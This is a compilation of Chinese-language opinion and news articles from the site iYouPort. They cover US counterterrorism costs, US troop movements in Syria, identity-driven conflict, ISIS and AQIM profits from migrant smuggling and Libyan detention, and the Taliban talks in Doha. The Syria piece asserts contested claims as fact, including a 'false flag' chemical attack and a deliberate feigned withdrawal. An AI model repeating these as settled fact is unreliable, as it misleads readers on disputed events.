战略与国际研究中心的报告指出了三个“值得监测的发展。”首先，新的商业技术—包括无人机、社交媒体、人工智能、加密通信和虚拟货币—将为群体提供新的手段“分发宣传，提高资金，招募新成员，进行虚假宣传活动，计划和策划攻击。“

其次，尽管美国和盟国政府的努力，恐怖主义的根本原因“尚未得到充分解决。”该研究主张西方反恐政策应该有助于“改善治理并更有效地处理萨拉菲—圣战组织操纵的经济、宗派和其他不满“。

第三，随着美国将国家安全优先事项从反恐转向了俄罗斯和中国等国家的威胁，美国和其他西方在非洲、南亚和中东的行动可能无意中使萨拉菲—圣战组织受益。

2018年11月，布朗大学沃森国际与公共事务研究所发布了年度“战争成本”研究报告。据计算，到2019年10月，美国将花费5.9万亿美元用于与其全球反恐运动有关的活动。

- 延伸阅读：关于“反恐”《暴涨的种族冲突和身份证明的魔咒》
- 《移民潮如何养肥了“伊斯兰国”—— AQIM模式的恐怖主义犯罪正在扩张》
- 《ISIS 简史》
- 《为什么大规模监控根本无助于所谓的反恐》

The number of Sunni militants has increased by 270% since the September 11, 2001, despite the US-led campaign to combat Al Qaeda and ISIS. It calculated that, by October, 2019, the US will have spent $5.9 trillion on activities related to its global counterterrorism campaign.

原文

暗度陈仓 - iYouPort

中东和北非

尽管最近特朗普一直在吹嘘他的从叙利亚撤军的计划，但是现实似乎正在完全相反，美军反而大大增加了驻扎在叙利亚东北部的数量。

「图」

「图」

据土耳其媒体 Anadolu News 报道，周一晚上，估计有150辆卡车和装甲车从伊拉克进入叙利亚东北部，穿越 Simelka 检查站进入叙利亚。车队于周二抵达叙利亚的 Kharab Ishq 和 Sirrin 的一个美国军事物流中心。 Al Masdar 报道说，车队的影像镜头也被张贴在社交媒体上，展示了发电机、建筑设备、悍马和大型卡车。

美国目前占据叙利亚近30%的领土，该地区包含叙利亚绝大部分的石油和天然气潜力，以及大部分淡水资源。

虽然这份最新报告可能被视为美国在叙利亚的代理部队的另一批军事装备—— 叙利亚民主力量（SDF）—— 但叙利亚人权观察组织（长期以来一直是主流媒体关于叙利亚的信息来源）已经记录了“至少有1,130辆卡车进入，向幼发拉底河东部的国际联军基地运送设备、弹药、武器、军事和后勤装备”，就在去年12月特朗普撤军公告后的几周内。

在特朗普撤军宣布之后，当人们认为在叙利亚已经部署了一千多名军人时，美国带入叙利亚的大量装备开始看起来更像是一次飙升而不是撤军。

事实上，“纽约时报”在上周日证实，自特朗普宣布他的计划于12月完全撤军以来，叙利亚的美国军队总数现已超过3000人，增幅超过50%。 虽然时报称这次增加 “是一种标准做法，暂时引进额外的安全和后勤部队，以帮助保护和实施撤离过程”，但一些分析人员已经驳

回了这一解释，并指出：部署一支1000人的部队撤回2000的力量毫无意义，特别是因为撤军将在友好的库尔德人控制地区进行。

时报声称，这是撤军前的“标准”程序，因为“Syrian Observatory”指出，有多达700名美军从伊拉克进入叙利亚进行“特定”军事行动，目的是围捕剩下的 Daesh 领导人，据说其在幼发拉底河以东的一个小区域（4平方公里，约1.5平方米）内被逼入绝境。

此外，Syrian Observatory 在其最近的报告中也指出，美国一直在向该地区发送反坦克导弹和重型机枪，尽管它声称已于上月底对 Daesh（伊斯兰国）发起了“最后一次袭击”，在完全不同的区域。Observatory 的报告也指出，导弹可以到达“幼发拉底河以西的伊朗部队阵地”，显然暗示了导弹的可疑目标。

另一个有趣的事实是，虽然美军在叙利亚的人数有所增加，但美国军方声称它已撤回了一些装备，以表明撤军正在推进。然而，从伊拉克的美国基地到叙利亚的美国军事物流中心的最新设备运输量远远超过了唯一被看到朝着相反方向移动的车队。该车队在美国媒体上被广泛报道为“证明”撤军正在进行中，然而仅包括10辆装甲车和几辆卡车。并且如前所述，自那以后，已有超过1,000辆装甲车和卡车返回叙利亚，据估计最新的车队至少有150辆车。

此外，这个最近的车队在黑暗掩护下进入叙利亚的事实表明，希望保持设备的运动基本上不受限制。虽然如果车队在危险的敌人控制的地区行进，夜间动身可能被认为是最明智的，但事实并非如此，因为它所经过的地区都是由美国和盟国部队控制的。

有一些可能性可以解释为什么公众促进“撤军”而事实上实际情况正好相反。首先，它可能表明特朗普政府和五角大楼的官员合作了—可能在总统的支持下—以便破坏撤军。事实上，几位特朗普政府高级官员—例如国家安全顾问约翰博尔顿和国务院的“叙利亚代表”詹姆斯杰弗里都强烈反对撤军，并在最近几个月来努力破坏撤军计划。

军方的反应也相似，促使国防部长詹姆斯·马蒂斯辞职，以及全球反伊斯兰国联盟特使也辞去职务。此外，国防部报道称，在特朗普宣布部队撤军计划之前，没有征求美国最高级别的中东指挥官的意见，这意味着该计划令五角大楼的高级官员大为惊讶，可能导致怨恨。

另一种可能性是，在推动更大的冲突和军事干预之前假装军事撤离是一项既定的战术，并在2009年有影响力的政策文件中有过解释“Which Path to Persia? Options for a New American Strategy

Toward Iran“。该文件由支持干预的新保守派布鲁金斯学会出版。鉴于五角大楼一直公开表示撤军正在向前发展—虽然显著而且暗中地增加了美军的数量、弹药和在叙利亚的装备—与这种策略有很强的相似性，并可能暗示美国在近期正在出现增加对叙利亚参与的未来。

一些媒体机构已经注意到特朗普此前也计划将美国撤出叙利亚，这是他去年4月宣布的，随后很快发生了一场“及时的”假旗化学武器袭击事件，这种袭击事件迅速破坏了特朗普的撤军计划。尽管缺乏证据，但已经归咎于叙利亚政府。这一事件最终导致特朗普—以及他在英国和法国的同行—向叙利亚领土发射了105枚导弹。

鉴于特朗普政府已将“遏制”伊朗作为其中东政策的首要目标，看到新保守派主持的现任政府使用伊朗和叙利亚政权的新保守主义剧本，这一点应该不足为奇。

US Troop Count in Syria Jumps by 50 Percent Since Trump’s “Withdrawal” Announcement. The huge amount of equipment being brought into Syria by the U.S. starts to look much more like a surge than a withdrawal when one considers that a thousand more troops have already been deployed to Syria following Trump’s troop withdrawal announcement.

原文

暴涨的种族冲突和身份证明的魔咒 - iYouPort

中东和北非

“绝望绝非政治学下的门类，然而若不以群体绝望为最有力的证言，我们将很难去理解伊斯兰运动”

「图」

「图」

随着难民潮的汹涌，和极右翼团体的冲动，当下的种族冲突被描述为“纳粹之后的第二次高峰”，从网络舆论战到街头混战，从歧视性涂鸦到事实性滋扰，各式各样的民族矛盾问题正持续被媒体和研究人士紧密关注着。

这次，中国人真的没有缺席，虽然其中不少人扮演了反派。故事绝不是从唐山收费站开始的，它更早，更深远，也更令人焦虑。于是不得不说说了，在更多令人毛孔悚然的历史被重演之前。

身份究竟是什么

身份并非生而有之，而是文化的产物：文化差异、以及心理、社会、语言的特殊化的人格化，带来的效果。身份是说话者在沟通过程中位置与角色的持续和确证。为了能够得到理解，一个人必需在社会游戏中扮演好自己的角色，久而久之，这个角色就成为了归属的象征。

然而身份却一直在为自己寻找根源，那些对身份的说明则常常将身份误认为一种天赋的本源。社区原本是作为交流的场域，却被误认为个体天生的归属地，并进而成为“意义的来源”。象征被赋予了意义，进而转变为象征和意义之间的天然记号或定向联系。一切都是错觉。

风格是可以随时修正的，而身份却是对理解与互动的可能性的限制。这种限制在某种程度上可以说有用，但如果将它误解为真实性的前提是相当危险的。这种误解会带来无休止的攻击、种族主义、暴力，和法西斯主义—— 身份建立在对根源的过度感知上，随即导向对归属的

回溯，并由此得出判断真理和做出选择的标准。

狡猾的政客从来没有错过这样的“好机会”，埃尔多安在拉票演讲中高呼：“欧盟为什么不接受我们？因为我们是穆斯林！”身份又变成了迷幻药和鸡血。

人们被牵引着认为，归属是认知的前提，这种思路偶尔有效，比如在凝聚力方面，但它的危险也是不可测的，它使人们把文化地图当成了归属地的内在疆域。没有地图会迷失，但迷失也是获得新知识，和创造任何新地图的前提，它并不是危险，而是希望。

「图」

「图」

记忆究竟是什么

科技进步了，地球村的概念出现了，文化经济交流加速，人口流动上升到一个新的至高点，随之而来的还有文化混杂甚至污染。互联网把各种不同的文化连接在一起，人们第一次发现那些原本写在教科书中的“民族差异”就呈现在身边。这是一个去区域化的过程，也是数字时代的标志，然而它最先带来的并不是地球村概念的具像化，而是一种逆向的、复区域化的峰值。

社会学家认为，在完全不同的环境下使用相同的解决方案，是一种会导致病理性神经过敏的态度。而当下，这种神经过敏正作为世界秩序的组成元素出现。一面是全球化加强了对语言地图灵活调整的需求，另一方面是，去区域化加赠了人们对身份庇护所和归属确证的需求。

这就是“身份”埋下的陷阱。身份攻击的观点不断增加，地图炮、宗教冲突、歧视、阶层冲突等观念，作为消除自我确证过程中产生的犹疑的攻击性，重新登上舞台。

二战获胜国在凡尔赛的大会上，犹太复国主义发起人、后成为以色列第一任总统的哈伊姆魏茨曼（Chaim Azriel Weizmann）在谈到犹太民族要求重新获得其祖辈的领土时说：“记忆是正确的”。魏茨曼这句话正是以色列建国的基础，但今天再听一遍的话，你会怎么感觉呢？没错，它似乎是个挑衅。

记忆不是“正确的”，记忆是身份的一部分，但身份并不是记忆的基础，恰恰相反，是身份创造了记忆。

这句话让以色列得以建国，而以色列和巴勒斯坦之间究竟谁的记忆才是“正确的”，这个问题，导致了难以终止的战争。

“人们总是嚷嚷着要创造更好的未来。这不是真的。未来对任何人而言都只是冰冷的虚空罢了。过往生机勃勃，急切地刺激、激怒，乃至羞辱我们，诱导我们将其摧毁，或是重演。人们要想成为未来主宰的唯一原因，便是他们想要改变历史。他们为了得到实验室拼尽全力，在那里可以润饰照片，重写传记和历史”——《笑忘书》

「图」

「图」

身份确证的陷阱

众所周知，失去原乡的痛苦经历使得犹太人在创建开明普世主义的过程中扮演了关键的角色，但与此同时，每隔一段时间就会迎来的大屠杀和迫害，又迫使犹太人去寻求社区的庇护，并不断尝试回到最初的领土上。

1391年，为了避免被处死或迫害，而被迫改为信奉基督教的与犹太人大批，他们被称为马拉诺人。掩饰自己、伪装生活规则，然而也正是这种被迫的伪装加强了对恋旧、充满怨气的归属的需求。

伪装和身份认同的痛苦绝非犹太民族独有的体验，现代历史中相当一部分人群都有同样的经历，亚美尼亚人、泰米尔人、非裔美国人……它本身就是去区域化历史进程的产物，也为接下来的攻击性“复区域化”奠定了基础。

这也是身份身份埋下的陷阱：只有以他认为镜，方能凝视到自己的身份证明，个人存在的真实性被掌控在“敌人”的手里，唯有对施暴者加以反抗方能实现个人归属。对原初身份的执迷沦为了僵局，记忆就根植于这个陷阱中。“伊玛目归来”

伊朗裔美国学者迈赫迪·哈拉吉曾经写了一本书叫《末世政治》，其中介绍了一种令人毛孔悚然的可能性——伊朗政权的对外政策，尤其是与以色列的关系，很可能是在这样一种末世观下制定的：隐遁伊玛目阿里马赫迪终将归来。

什叶派十二伊玛目派相信伊玛目阿里马赫迪并没有死去，而是奉真主之命隐藏起来了，并最终会显于世间以完成自己的使命，为世界带来和平与公正。根据十二伊玛目派的观点，当世界陷入混乱、硝烟四起

的时候，阿里马赫迪就会出现。

Henry Corbin的《伊斯兰教哲学史》中将末世期许和宗教哲学的内在象征联系在一起分析：

“塔维里”和“坦兹利”（真主在不同场合降示的古兰经经文）一道组成了一对互补对照的术语和概念。坦兹利指向明确的宗教内容，由天使向先知口述的启示信函，它意味着使启示从更高的世界下将于此。与之相反的，塔维里则意味着归返、回到本源，意味着回到经文的真意和原初内涵……在伊玛目仪灵知学中，塔维里的完成是与灵魂重生密不可分的。

伊玛目的重现意味着人类的重生，这正是什叶派隐遁和现身观念的最深刻意义。人类戴上了一层面纱，使伊玛目从他们面前隐藏起来了，因为用于进行“显灵知觉”的器官丧失或麻痹，人类 失去了看到伊玛目的能力。什叶派虔诚信徒深信“伊玛目复临”不会在某个好日子里出现，塔维里会取得胜利，让人们找到团结……

根据这些信息可知，伊玛目再次降临人间将借由人类灵魂的升华，怎样才能做到升华呢，唯有通过精华和自我牺牲方能实现。而对于教义的偏激解读可能会将“自我牺牲”指向什叶派民众本身，而隐遁伊玛目这一教义则可能由此成为终极自杀的理论前提。

伊朗和以色列都是核能大国……这就是迈赫迪·哈拉吉在想什么。冷战期间，美苏军队的智囊团曾经详细制定了一个MAD（对等保证摧毁）战略，就是说：两个核能大国都不能使用原子弹，因为双方都清楚，这种攻击会带来报复性的毁灭。似乎那个时候的人看起来更理智一些，与当下朝鲜半岛局势相比。

「图」

「图」

“你们永远也得不到安宁”

21世纪头20年里，一个关键字是非常醒目的，那就是：自杀。出于某种理由，自杀愈发被认作是受压迫者唯一有效的行为，唯有通过这种途径方能摆脱焦虑、压抑和无助的状态。

21世纪的开端标志就是举世瞩目的大型集体自杀事件：911事件。19名阿拉伯男子的行为明显是一场大屠杀，但与此同时，甚至可以说是首先，它是一场自我毁灭。

法国哲学家Jean Baudrillard 曾经写下了这样的评论：

指向恐怖主义的道德谴责和神圣联盟与注视着世界超级大国被摧毁而爆发出的惊人欢腾是同质的；令人喜悦的则是看到了它或多或少地进行自我破坏或更加壮观的自杀。尽管正是它（超级大国）通过自己难以承受的权力，在世界各地酝酿着暴力以及进而生出的、栖居于我们体内的恐怖主义想象……

这段文字甚至在当时都没有得到足够的重视，人们只是聚集在“支持还是反对”、“道德还是缺德”的两极化冲突中。其实它就是关键：911的大规模自杀行动成为了感染源，首先感染了美国，迅速进行了镜像式的反射举动。十年后再看时，人们应该明白了 Baudrillar 的意思。

如果还不明白，请参考下这几年来的美国无人机杀伤数据，注意，官方估测的平民死亡数量是不准确的，实际上是会多不会少。或者再去看一遍《homeland》。

2013年，伦敦东南部伍尔维奇区，一名携带着各种大小刀具的少年，当街砍死了一名英国士兵，还欲将其头颅割下来。行凶后他并没逃跑，而是邀请路人为他和这具尸体合影留念……

他挥舞着血迹斑斑的割肉刀发表了一场政治演说：“你们以为死的会是那些政客？你们错了，死去的只是普通老百姓！还有你们，你们的孩子！不要再受他们的摆布了，叫这些人把咱们的军队召回来，你们才能重新获得和平的生活。否则你们永远也得不到安宁！”

无止境的战争正在带来更为长期的影响。这位年轻人带着对敌人的仇恨成长起来，但敌人是谁呢？是另一位走在大街上穿着爱国语句T恤的年轻人吗？“你们永远也得不到安宁”。

痛苦的回溯

乔治布什输了。“911”后发起的无休止的战争最终陷入了惨淡，因为美国面对的敌人并不是决议活着取胜的大型政权，而是一群以生命为武器的终极自杀者组成的军队。布什没能理解羞辱、折磨和宗教狂热混合在一起能释放出什么。

欧洲评论人士大多认为，美国和西方国家在对阵伊拉克和阿富汗战争中一败涂地。本拉登的死与战略视角无关。

2005年被恐怖分子杀害的黎巴嫩作者艾米尔卡希尔曾经写过一本书，

《身为阿拉伯人的思考》，其中指出，痛苦是阿拉伯文化政治行为的推动因素。以阿拉伯黄金时代为起点，通过探讨20世纪初期现代文化带来的冲击，卡希尔认为，阿拉伯政治的进攻性是殖民迫害和文化受害后的表现。这本书后来被很多恐怖主义心理学研究人士所借用。

“绝望绝非政治学下的门类，然而若不以群体绝望为最有力的证言，我们将很难去理解伊斯兰运动”——《对伊斯兰教中“厄运考验”的心理分析》

很多人会说，撒哈拉南部非洲与亚洲国家都曾遭受殖民压迫和剥削，但这些大陆上的人民并没有做出同样的回应，也没有如此强烈的回归本源的狂迷。但要知道，在神教语境中，对当下的苦难存在一种假设：历史在不断的衰颓下降中。这是一种回归式的解读，它在一定程度上解释了当代伊斯兰文化。

“我们应该如何解释从当下流放出来的欲求，将未来缩减为不断重复相同事物的过去，进而使得当下只是已然发生过的事物的阴影？”——《对伊斯兰教中“厄运考验”的心理分析》

是时候摆脱这个魔咒了。思考就是开始，所有人都必须做的工作。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

移民潮如何养肥了“伊斯兰国” — — AQIM模式的恐怖主义犯罪正在扩张 - iYouPort

中东和北非

即便你付了钱，也会有人在你逃离的路上拦截，然后索要更多的钱，如果你不给，他们就把你绑起来交给警察，而警察再把你关进库夫拉监狱，再然后，所有痛苦重新经历一遍……

「图」

「图」

随着战争的推进，从各个破败的国家和恐怖组织控制的地区逃出来的人越来越多，移民贩卖已经发展成了一个庞大的灰色产业。

50年前，每年迁往欧洲的人数仅仅有10万左右，而如今，这个数字是200万。在以前，移民群体主要是些贫困潦倒、没受过教育的人，他们想到欧洲寻求赚钱的机遇；而如今，政治动荡迫使社会各个阶层和职位的人，纷纷沦为了逃难的移民。

人贩子们很清楚这一状况，所以他们根据移民不同的支付能力来调整贩运价格、提供不同的贩运服务。比如从土耳其到欧洲，空运的价格是八千到一万欧元，但如果选择更危险的陆运或海运，价格则会更便宜。

做为移民，不管你多么的贫穷或者富有，人贩子的角色对于你的旅途来说都是至关重要的。即便在2015年夏天，欧盟暂时开放边境时，移民仍需要人贩子带着穿越欧洲到达某个成员国境内。

这其中，最大的人口贩运团伙就是著名的“伊斯兰国”（ISIS）。

「图」

「图」

"伊斯兰国组织"借移民潮大发横财，并传播圣战思想

2015年，180万移民涌入欧洲，而这个数字仅仅是移民潮的一个小开端。欧洲刑警组织的领导人称："90%的移民是在犯罪组织的帮助下抵达欧洲的"。因此到2016年，欧盟决定建立"欧洲难民偷渡管理中心（EMSC）"以切断这些人口贩卖网络。

面对这个每年能给欧洲各大犯罪团伙创收十亿欧元的走私业务，欧洲人完全不知所措。在欧盟边境的外侧，许许多多的小型犯罪组织和恐怖组织源源不断向欧洲人贩子输入"人口资源"，他们已经赚得盆满钵满。短短十年内，在欧洲边缘政治愈发不稳定的背景下，赎金投资已经把人口走私发展成了一个产值为数十亿美元的国际产业，利润堪比毒品走私。

对于恐怖组织来说，人口走私是一门和"绑架外国人"一样利润丰厚的生意。比如控制着移民走私关键路线的伊斯兰国组织。2015～2016年间，共有三股大型移民潮，其中地中海东部的移民潮走的是从叙利亚涌入土耳其、经由希腊最后进入巴尔干半岛的路线，这条路至今为止都是"希望之旅"上最汹涌的一条路线。

伊斯兰国控制着这条路上的所有关键关口，叙利亚境内的人贩子都认为走这条路最安全。媒体调查通过难民的讲述得知：这条路上没有各路军阀和武装组织设置的路障，即使有轰炸行动，旅途还是很顺畅的，因为人贩子都绕着村庄、城镇和石油设施前行；而且，从这条路进入土耳其后，你不会面临被土耳其边界警察射杀的危险，但在巴卜萨拉马和阿夫林附近的路径就没那么安全了……

对移民来说，走ISIS控制的路线也更便宜，因为伊斯兰国垄断，人贩子过境时只需要付一次税，如果是其他地区，就意味着要向各个犯罪团伙、武装组织，甚至是阿萨德的部队交好几次税。仅2014年夏天，涌向土耳其的移民为伊斯兰国组织创造的过境税，每天高达五十万美元，甚至超过了石油走私的税收。

另外两条不太拥挤的路线：一条从叙利亚横穿地中海中部到达意大利，另一条从摩洛哥穿地中海西部到达西班牙。据欧盟边防局估计，2015年约有30万移民通过这两条路到达欧洲，而ISIS 则在叙利亚和利比亚的人口贩运中双双获利。

ISIS 还制定了相应的规章制度，比如他们规定从ISIS 控制区西海岸出发的船只只能载120人。伊斯兰国成员在放行之前会对走私船进行检查，以确保移民人数没有超过规定。人贩子要拿出一般的利润向ISIS

换取通行权，所以清点人数也是伊斯兰国组织确保征税量的方式。2015年，人贩子每运送一万名移民，就为ISIS 创造两千万美元的税收。

对移民来说，在ISIS的监控下过境已经成了一种“官方认证”的偷渡方式。同时，从伊斯兰国控制区通过大概需要花费1600美元，这比从利比亚东岸经过的价格要高，但对于移民来说却更安全。

ISIS不仅提高了自己区域的航线价格，同时还要求通行的移民都要参加为期一周的“伊斯兰教法”学习课程，才能取得安全通行资格！但他们教授的明显不是伊斯兰教法，而是圣战思想，"ISIS在巧妙的利用移民潮给涌入欧洲的人流洗脑"。

「图」

「图」

伊斯兰马格里布基地组织（**AQIM**）成为了“致富榜样”

伊斯兰马格里布基地组织的诞生就是得益于人口走私和绑架，该组织头目穆赫塔尔·贝尔摩塔尔（Mokhtar Belmokhtar）曾是阿尔及利亚的穆斯林游击队员，2003年他用绑架的32名欧洲人，换来了欧洲政府支付的550万欧元的人质赎金，从而建立了AQIM这个组织。

因为AQIM和基地组织在海湾地区的传统投资人没有联系，于是一开始他们就是通过在西非和萨赫勒地区的成员进行非法活动来自筹资金的，主要方式就是绑架和人口贩卖。

有研究估计，AQIM在武器、车辆上的花费，以及为子女加入本地战斗旅的家庭所支付的费用，总计高达每月200万美元。联合国2012年披露的数据指，在马里北部，每名儿童加入组织后，其家庭将因此获得大约600美元的补贴，如果子女参加战斗，其家庭还能每月领取到400美元的补贴……足见AQIM的招募成本不低。

贝尔摩塔尔用非法活动赚取了大量财富，并为其作战队员发放了工资，这使得他在AQIM大受欢迎。更有，他们不像其他犯罪团伙那样，AQIM组织不仅没有勒索地方居民的财物，还和当地部落建立起了良好的关系，这点上和 ISIS 异曲同工 — — ISIS就是这样立足的。

AQIM的“致富之路”迅速吸引了其他恐怖组织的注意，位于阿富汗的塔利班组织立刻颁布了指导方针，鼓励其他附庸组织效仿萨赫勒的AQIM，参与到绑架和贩卖人口的生意中来。

AQIM模式集中应用在政治动荡、衰败或半衰败的国家，萨赫勒地区有很多这样的国家，包括尼日尔、阿尔及利亚南部、毛里塔尼亚、马里等，AQIM组织就藏身在马里北部，这是个关键地点，几乎所有前往利比亚再转入欧洲的走私商，都会从马里出发。所有走私队伍都由AQIM控制，移民们分不清哪些人是普通走私犯，哪些是恐怖主义犯罪分子。

「图」

「图」

人口贸易

国际移民组织（IOM）2004年发表的数据指，在过去十年内，有一百万非洲中西部人口偷渡到来欧洲。当时引起了格外的震惊，但今天再看这个数字，简直不值一提。继毒品贩卖之后，人口贩卖已经成为最大的犯罪勾当，跟绑架不同，它基本是个供求关系稳定且利润只增不减的稳赚行业。

在2015年前 — — 欧盟未正式开放边境之前，一个持有真护照的叙利亚人，不管是从罗马尼亚还是从保加利亚搭乘飞机到欧洲，费用都在一万到一万五千欧元之间，而如果选择从叙利亚走陆运到欧洲，则只需要花费2000 ~ 4000欧元。人贩子根据不同人群制定了不同的运输方案，制定标准就是移民的支付能力。

在这个犯罪金字塔的顶部，是那些藏在卡车里的人贩子，他们用破旧的卡车运送绝望的移民，用新卡车运送可卡因和烟草，人口和毒品一起走私。生存在这个金字塔下层的是那些开车的司机，他们专门靠运送移民维生，以及那些分散在走私路线上的商人，他们一点不比车上的移民活得更好些。还有一路上那些腐败的警察和军人，经常会在检查点对移民洗劫一番。2006年，撒阿拉走私线路沿途的那些监管者们，通过受贿和偷窃，每个月的净收入在100万 ~ 200万欧元之间……移民走私基本成了整个区域经济赖以维持的基础。

在贝尔摩塔尔眼中，AQIM不过是个赚钱的工具，他对圣战运动和伊斯兰政权不怎么感兴趣。像他这样的人还有很多，他们虽然属于极端组织，但干的犯罪活动要比政治诉求运动多很多，他们追求的更多是利益，而不是圣战。

也于是，恐怖主义行为和犯罪行为的界定也越来越模糊。

「图」

「图」

利比亚的古拉格

作为进入欧洲的主要枢纽，利比亚为移民贩运创造了绝佳的机会。

人贩子们先是带着移民到达海岸地区，再悄悄通报当地警方，警察们闻讯赶来又逮捕了这些移民，把他们关进金属容器，再次穿越撒哈拉沙漠，一路向南朝着苏丹边境行进，直抵达库夫拉 — — 21世纪的古拉格集中营，移民们就被关押在这里。

移民们在这里接受暴打、忍饥挨饿，之间不断有人生病和死去。几周或几个月后，狱卒们假意释放那些幸存下来的人，骗他们说将被驱逐到苏丹。但并不是送他们去边界，而是送到了人贩子手里，人贩子就在监狱外等着买移民，30第纳尔就可以买下一个移民。然后这些人贩子再将移民倒卖给利比亚的人贩子，赚回更多的钱。利比亚的人贩子把移民带到的黎波里，再向你所要400美元的赎金来购买你自己的自由。

即便你付了钱，也会有人在你逃离的路上拦截，然后索要更多的钱，如果你不给，他们就把你绑起来交给警察，而警察再把你关进库夫拉监狱，再然后，所有痛苦重新经历一遍……（信息来自 Come un Uomo Sulla Terra意大利电影金像奖最佳纪录片奖提名）

2003年时，贝卢斯科尼的意大利政府和利比亚独裁者卡扎菲展开了秘密谈判，达成了一项以“遏制和阻断”为方针的协议，希望能有效阻止移民经由利比亚偷渡到欧洲，同年，意大利政府就给的黎波里送去了“补给”，包括船只、SUV、卡车、潜水装备、大量的集装箱，一万两千条毛毯，还有一千个运尸袋。

卡扎菲用这些东西把非洲难民从沿海地区拉到了内陆沙漠的拘留营。

意大利媒体把移民们通往欧洲、寻找美好生活的旅程称之为“希望之旅”，实际上这是一条惨无人道的、通往地狱和黑暗的不归路。移民们被装在集装箱里，像货物一样在利比亚各地运来运去。

为了协助卡扎菲遏制移民潮，意大利政府还提供了资金帮助，两年内像利比亚拨款4500万欧元，卡扎菲还拿到了埃尼集团（一家意大利跨国石油和天然气公司）的交易合同，价值280亿，有效期十年。这是一份用移民的血书换来的肮脏的合同。

意大利政府和卡扎菲之间的交易造福了大批人贩子，却把落难的移民推进了阶下囚和奴隶的命运轨道……意大利总理贝卢斯科尼承诺，在未来25年内以基础设施的形式对利比亚进行价值两亿欧元的投资，这些投资中就包括意大利安保公司 Finmeccanica 建立的雷达系统，它将被用于监控利比亚的沙漠边境。

2007年，时任总理的普罗迪（也是欧盟委员会前任主席）向利比亚拨款600万欧元，签署了一份阻止非洲移民涌入意大利的协议。

这是一项令人嗔目结舌的交易，它令一个21世纪的古拉格体系合法化了。意大利借此将移民和寻求庇护的人们堆砌在了利比亚的领土上，进而逃避了自己的责任。

「图」

「图」

暂时无解

移民贩卖已经形成一条庞大的灰色产业链。2015年夏天，蓬勃发展的移民走私业务把东欧沿线上的犯罪团伙也吸引过来了。由于移民走私业务利润丰厚，这些犯罪分子甚至放弃了其他犯罪活动 — — 奥地利警方称，匈牙利边境上的偷盗活动大幅下降。地方帮派和小型犯罪团体转而开始租借货车和汽车来运送移民过境，奥地利警方因此在境内拦截了许多这样的移民走私车辆。

在萨赫勒和北非地区，独立的小型犯罪团伙靠本地经营将当地移民偷渡到欧洲边境线内，到欧洲境内，从移民地区出来的一些侨民开始负责贩运。但这些人贩子都不享有走私垄断权，移民每跨越一条边境线、每进入一个新的国家都要货比三家，最后挑选一个适合自己的人贩子，而且付款方式都是“人到付款”。

“量行付款”模式是贩运业务高度分散化的发展产物。有趣的是，一方面全球化模糊了整个世界的经济和金融边界；另方面，绑架者和人口贩运商却着眼于本地化的商业模式，仅仅在本国甚至本地区的海岸线开展业务。

恐怖主义犯罪和海盗行为泛滥的热点地区，在文化和历史渊源上有一定的共性 — — 它们都曾经是一些殖民地或后殖民地国家，这些国家的中央政权已崩溃，部落价值观和部落领导权威填充了这种无政府状态 — — 叙利亚、萨赫勒和北非都是如此。部落首领和地方政客经常

在绑匪和人质家属或政府之间扮演着调解人的角色。

非洲等地的人贩子已经成功的把“量行付款”模式输出到了欧盟，主要因为这一模式对移民来说非常实用。人贩子还抓住了欧盟在国家边境和移民问题上的政策不统一这个短板 —— 由于缺乏一个共同的对外政策，欧洲境内形成了一个政治空档，小型的犯罪分子和移民们因此很轻松的钻进去了。

移民是复杂的事态，人们之所以要离开自己的家园来到欧洲、美国等富裕国家，是因为他们在自己的国家里已经无法生存。人道主义角度上是必需支持的和援助的，而各项法律和管理措施也必需完备，恐怖主义犯罪正是在钻管理空白的漏洞。

这场二战以来最大的难民潮并未被视为人类的悲剧，在欧洲各国领导人眼里，它是一把快速飞向欧洲的政治回旋镖，其途经的所有国家都将被击中。目前为止没有任何好的应对方案。结束对叙利亚的轰炸行动只会让俄罗斯进一步去强化阿萨德的势力，而并不会减缓难民逃离家园的脚步。同时，由于大批难民涌入，开放边界无疑是灾难性的。

欧盟现在认为，唯一的办法就是和土耳其达成合作，把难民关在欧洲大门外。事实上，欧洲各国在2015年似乎达成了一项共识，他们希望给土耳其提供30 ~ 60亿欧元的移民接纳费……于是，埃尔多安将扮演当年卡扎菲的角色，也于是，土耳其提出了金钱和特权两项要求 —— 包括获得进入欧盟境内的免签待遇，这也被视为要求进入欧盟的前奏。

移民们会被埃尔多安关进难民营，届时难民营里又将会出现新一代的绑架犯、圣战者和各种类型的犯罪分子，而ISIS也将从中吸纳自己的“新生力量”。●

原文

纠结的谈判 - iYouPort

中东和北非

美国会向塔利班投降吗？这场艰难的谈判被卡在哪里？

「图」

「图」

形势正在一百八十度大转弯。塔利班，庇护9/11袭击者并赢得美国愤怒的武装分子，现在正在卡塔尔的多哈遇到他们的主要对手。进行会谈的是阿富汗血统的高级外交官扎尔迈哈利勒扎德，他目前担任美国国务院阿富汗和解问题特别代表。

自2018年8月以来，双方已举行了五次会晤。上周二，哈利勒扎德大使在推特上说："刚刚在多哈与塔利班举行了一轮马拉松式的会谈。和平的条件有所改善。很明显，各方都希望结束这场战争。尽管起伏不定，我们仍然保持正轨，并取得了实质性的进展。"

希望和平谈判能够在春天达成一些积极的结果并宣布停火。但这没有发生。哈利勒扎德大使已返回华盛顿进行进一步磋商。

是什么阻碍了谈判？特别代表在确定协议对取得进一步进展至关重要的四个要点时触及了这一问题：

- 反恐保证
- 撤出美国和北约附属部队
- 阿富汗内部对话
- 全面停火

在现在休会的2月至3月轮次中，只就前两个问题的草案达成了协议。很明显，这是那些希望结束阿富汗17年战争的人不会轻易同意的问题。事实上，双方以及阿富汗的邻国现在对南亚和西南亚局势极度不稳定的状态感到不安和焦虑。

特朗普也热衷于达成共识，因为他向美国人民承诺过，他要"把美国

军队带回家”。由于商定的草案尚未公布，因此无法对此作出评论，尤其是关于反恐保证的性质。预计塔利班将承诺不允许任何人再次对美国发动类似9/11的攻击。将提供哪些保障措施以确保这一点还不知道—— 目前没有任何时间表显示所谓的撤军。

最后两个问题仍然比较棘手，因为它们将决定阿富汗未来的政治结构。不需要了解火箭科学就能理解塔利班正在从一个有实力的地位进行谈判，并希望将其军事战略优势转化为对该国的政治控制。这对美国来说是一个考验。

到目前为止，塔利班一直坚持在喀布尔没有与阿什拉夫加尼政府合作的卡车。它被称为“美国傀儡”。毫无疑问，如果没有美国的军事支持，加尼就无法在任期内生存。今天，塔利班控制了阿富汗30%的领土。

